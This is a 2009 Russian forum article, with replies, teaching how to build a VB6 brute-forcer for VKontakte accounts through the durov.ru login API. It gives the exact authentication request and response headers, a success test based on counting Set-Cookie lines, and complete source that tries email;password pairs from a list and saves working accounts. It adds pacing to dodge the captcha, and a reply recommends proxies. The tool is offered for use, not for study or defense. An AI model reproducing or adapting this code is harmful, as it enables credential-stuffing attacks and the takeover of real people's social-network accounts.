VB6. Основа для брута Вконтакте

Тема в разделе "Статьи", создана пользователем lytgeygen, 5 ноя 2009.

  1. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    В этой статье объясню как написать простой одно поточный брут для соц. сети дуров.ру
    всё что будет делать программа это отправлять и принимать HTTP заголовки

    Вы наверно спросите почему брут именно для этой соц. сети ? потому что брут для этой соц. сети
    написать намного легче чем для "Вконтакте". Вы наверно сказали ламер и т.п. не может написать
    такой простой брут, просто не охота писать парсер и делать запрос к разным хостом для того что бы
    узнать подходить или нет пароль к мылу... А на сайт userapi.ru есть ссылка именно на эту соц. сеть и подписано:

    это значит если сбрутишь на этой соц сети акк значит для Вконтакте он должен подайти ну или хотя бы
    брутить базу для Вконтакте легче будет :)

    Передавать и принимать информацию мы будем через сокеты.
    Для начала рассмотрим получаемые заголовки от сервера авторизации:

    HTTP заголовок отправляемый нами:

    Код:
    POST /auth HTTP/1.1
    Host: login.userapi.com
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru,en-us;q=0.7,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://durov.ru/login.html
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 78
    site=2&id=0&fccode=0&fcsid=0&login=force&email=admin@mail.ru&pass=123456

    нас интересует две последние строки:
    1я строка: содержит число символов второй а точнее длину последний строки в заголовке
    2я строка: информация которую мы передаём, нас интересует только два последних значения этой строки

    Код:
    email=admin@mail.ru&pass=123456
    Они разделяються знаком &
    admin@mail.ru - мыло по которому логинимся
    123456 - пароль акку

    Теперь рассмотрим HTTP заголовки которые могут прийти

    HTTP заголовок в случае не удачи:

    Код:
    HTTP/1.1 302 Found
    Server: nginx/0.7.59
    Date: Wed, 04 Nov 2009 16:26:25 GMT
    Content-Type: text/html; charset=windows-1251
    Connection: keep-alive
    X-Powered-By: PHP/5.2.6-1+lenny3
    Pragma: no-cache
    Cache-control: no-store
    Set-Cookie: remixchk=5; expires=Sat, 06-Nov-2010 02:23:11 GMT; path=/; domain=.vkontakte.ru
    Location: http://durov.ru/index.html#0;sid=-4
    Content-Encoding: gzip
    Vary: Accept-Encoding
    Content-Length: 26

    HTTP заголовок в случае удачи:

    Код:
    HTTP/1.1 302 Found
    Server: nginx/0.7.59
    Date: Wed, 04 Nov 2009 16:27:23 GMT
    Content-Type: text/html; charset=windows-1251
    Connection: keep-alive
    X-Powered-By: PHP/5.2.6-1+lenny3
    Pragma: no-cache
    Cache-control: no-store
    Set-Cookie: remixchk=5; expires=Sat, 06-Nov-2010 00:34:51 GMT; path=/; domain=.vkontakte.ru
    Set-Cookie: remixmid=15787657; expires=Sat, 30-Oct-2010 11:35:59 GMT; path=/; domain=login.userapi.com
    Set-Cookie: remixpassword=1759afc30f8b98cf89f96f462f1e206574389687769504323cb19704447c9c; expires=Wed, 10-Nov-2010 16:37:07 GMT; path=/; domain=login.userapi.com
    Location: http://durov.ru/index.html#0;sid=76a0169724d9d834648abafa9dbc81a6
    Content-Encoding: gzip
    Vary: Accept-Encoding
    Content-Length: 26
    Если вы заметили то он отличаются кол-ом строк Set-Cookie они хранят куки.
    если не удача то сервер присылает 1 куки, если удача то 3 куки. Это значит если логин не удался то в HTTP заголовке
    Set-Cookie встретится один раз а если логин удался то Set-Cookie встретится три раза!

    Теперь перейдём реализации:

    Как будет выглядит папка программы:
    Код:
    |
    ----brule.exe
    |
    ----src.txt
    |
    ----good.txt
    brule.exe - сам брут
    src.txt - текстовик в котором будут записи типа email;pass
    good.txt - текстовик в которой будут сохраняться удачные акки

    Теперь начнем кодить!

    Создаём новый проект, выставляем сокет который есть в исходника, добавляем 6 леблов, один таймер, 4 кнопки и два текстбокса.


    Таймер выключаем, переименовываем в Tsleep и ставим интервал в 30000 мс, текстбоксам выставляем мультилайн и скролы

    и пишем следующий код:

    Код:
    Dim Akk() As MAILPASS
    Dim sCount, sCurrent As Long
    Dim ItS As String
    Private Type MAILPASS
        mail As String
        pass As String
    End Type
    Dim Good, Bad As String
    Dim Status As Boolean
    
    Private Sub Command1_Click()
    Command1.Enabled = False
    Command3.Enabled = True
    Status = True
    textadd "Load src.txx"
    Loadtxt
    
    End Sub
    
    Private Sub Command2_Click()
    T1.CloseConnection
    Status = False
    Command1.Enabled = True
    Command3.Enabled = False
    Command4.Enabled = False
    ItS = 1
    sCount = 0
    sCurrent = 0
    Text1.Text = ""
    Text2.Text = ""
    Good = 0
    Bad = 0
    Close #77
    End Sub
    
    Private Sub Command3_Click()
    Status = False
    Brut_stop
    Command4.Enabled = True
    Command3.Enabled = False
    End Sub
    
    Private Sub Command4_Click()
    Status = True
    Brut_start
    Command4.Enabled = False
    Command3.Enabled = True
    End Sub
    
    Private Sub Form_Load()
    Status = False
    ItS = 0
    Good = 0
    Bad = 0
    End Sub
    
    Private Sub T1_Connected(IP As String, port As Long)
    Dim buff As String
    If ItS = sCount Then
        Brut_end
        Exit Sub
    End If
    ItS = ItS + 1
    buff = "site=2&id=0&fccode=0&fcsid=0&login=force&email=" & Akk(ItS).mail & "&pass=" & Akk(ItS).pass
    T1.SendData "POST /auth HTTP/1.1" & vbCrLf
    T1.SendData "Host: login.userapi.com" & vbCrLf
    T1.SendData "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)" & vbCrLf
    T1.SendData "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" & vbCrLf
    T1.SendData "Accept-Language: ru,en-us;q=0.7,en;q=0.3" & vbCrLf
    T1.SendData "Accept-Encoding: gzip,deflate" & vbCrLf
    T1.SendData "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7" & vbCrLf
    T1.SendData "Keep-Alive: 300" & vbCrLf
    T1.SendData "Connection: keep-alive" & vbCrLf
    T1.SendData "Referer: http://durov.ru/login.html" & vbCrLf
    T1.SendData "Content-Type: application/x-www-form-urlencoded" & vbCrLf
    T1.SendData "Content-Length: " & Len(buff) & vbCrLf & vbCrLf
    T1.SendData buff & vbCrLf
    End Sub
    
    Private Sub T1_DataArrival(Data As String)
    Dim kol, buff, ST, re As String
    ST = 1
    Text2.Text = Data
    1
    re = InStr(ST, Data, "Set-Cookie")
    If re > 0 Then
    kol = kol + 1
    ST = re + 1
    GoTo 1
    End If
    
    If kol = 1 Then
        Bad = Bad + 1
        Label4.Caption = Bad
        textadd Akk(ItS).mail & ";" & Akk(ItS).pass & " - bad" & vbCrLf & "Sleep 30000"
        Tsleep.Enabled = True
    ElseIf kol = 3 Then
        Good = Good + 1
        Label2.Caption = Good
        Print #77, Akk(ItS).mail & ";" & Akk(ItS).pass
        textadd Akk(ItS).mail & ";" & Akk(ItS).pass & " - good" & vbCrLf & "Sleep 30000"
        Tsleep.Enabled = True
    End If
    End Sub
    
    Private Sub Text1_Change()
    Text1.SelStart = Len(Text1.Text)
    Text1.SelText = NewText$
    
    End Sub
    
    Private Function getmail(Data As String) As String
        Dim R As Integer
        R = InStr(1, Data, ";")
        getmail = Mid$(Data, 1, R - 1)
    End Function
    Private Function getpass(Data As String) As String
        Dim R As Integer
        R = InStr(1, Data, ";")
        getpass = Mid$(Data, R + 1, Len(Data) - R)
    End Function
    
    Private Sub Brut_start()
    If Status = False Then
        Brut_stop
    End If
        textadd "Connect..."
        T1.Connect "login.userapi.com", 80
    
    End Sub
    Private Sub Brut_stop()
        T1.CloseConnection
        textadd "Stop"
        Tsleep.Enabled = False
        
    End Sub
    
    Private Sub Brut_end()
        T1.CloseConnection
        textadd "END!!!"
        Command3.Enabled = False
        Command4.Enabled = False
        Text2.Text = ""
        Close #77
    End Sub
    
    Private Sub Loadtxt()
    Dim msg
    Dim buff As String
    ' проверяем существует ли файл src.txt
    If Dir(App.Path & "\src.txt") = "" Then
        msg = MsgBox("The file " & App.Path & "\src.txt - is not found", vbCritical, "Error!")
        End
    End If
    
            Open App.Path & "\src.txt" For Input As #3
            sCount = 0
            Do
                If EOF(3) Then GoTo 10
                Line Input #3, buff
                If buff <> "" Then sCount = sCount + 1
            Loop Until EOF(3)
    10
            Close #3
            If sCount > 0 Then
                ReDim Akk(1 To sCount) As MAILPASS
                i = 0
                Open App.Path & "\src.txt" For Input As #3
                Do
                    Line Input #3, buff
                    If buff <> "" Then
                        i = i + 1
                        Akk(i).mail = getmail(buff)
                        Akk(i).pass = getpass(buff)
                    End If
                Loop Until EOF(3)
            Close #3
            Else
                msg = MsgBox("It is not found any record of type mail;pass", vbCritical, "Error!")
                End
                Exit Sub
            End If
    Label6.Caption = sCount
    Open App.Path & "\good.txt" For Append As #77
    Brut_start
    
    
    End Sub
    
    Function textadd(Data As String)
    Text1.Text = Text1.Text & Data & vbCrLf
    End Function
    
    
    Private Sub Tsleep_Timer()
    Tsleep.Enabled = False
    Brut_start
    End Sub
    
    Принцип работы брута:
    Брут конектится к серваку, отправляет HTTP заголовок с мылом и паролем, когда приходит ответ отключается и начинает
    считать сколько раз слово Set-Cookie встретится в ответе. Если 1 раз то неудача и пишеб Bad, если 3 раза то удача и пишем Good
    потом ждём 10 секунд иначе ни как. Если слишком часто обращаться к серваку то он заставит вводить капчу. после 10 секунд повторяем процедуру и

    так пока вы не остановите брут или пока не закончится список

    В программе возможны ошибки т.к. детально не тестировал но главное работает! :)


    Скачать исходники
     
    5 ноя 2009
    2 пользователям это понравилось.
  2. onthar
    onthar Продвинутый
    Симпатии:
    224
    Разве вконтакте поддается бруту? оО А как же капча?
     
    5 ноя 2009
  3. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    если не часто обращаться то да, и не сам Вконтакте а соц. сеть durov.ru а если использовать прокси то это просто замечательно :)
     
    5 ноя 2009
  4. ~|~евто|-|
    ~|~евто|-| Silentium Новичок
    Симпатии:
    32
    durov.ru это не соц. сеть. А урезанное зеркало вконтакте. Ну или наоборот :))
     
    5 ноя 2009
  5. onthar
    onthar Продвинутый
    Симпатии:
    224
    главное, что логины из одной базы.
     
    5 ноя 2009
  6. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    Вот что про это было написано:
     
    5 ноя 2009
  7. VladiGG
    VladiGG Новичок
    Симпатии:
    0
    lytgeygen не подскажешь, почему, когда я отправляю HTTP заголовки для других сайтов, мне приходит в ответ кусок html кода.
     
    12 янв 2010
  8. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    VladiGG,
    А что должно приходить ещё ?
    Почитай
    http://ru.wikipedia.org/wiki/HTTP

    Добавлено через 3 минуты
    И ещё, после подключения когда сервер пришлет тебе первый пакет нужно сразуже закрывать соединение иначе сокет так и будет принимать куски html кода и будут ошибки
     
    Последнее редактирование: 12 янв 2010
    12 янв 2010
  9. VladiGG
    VladiGG Новичок
    Симпатии:
    0
    Спасибо, я не закрывал соединение..
     
    13 янв 2010
  10. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    MaxaRiaZ,
    теоретически - да
     
    18 янв 2010
Загрузка...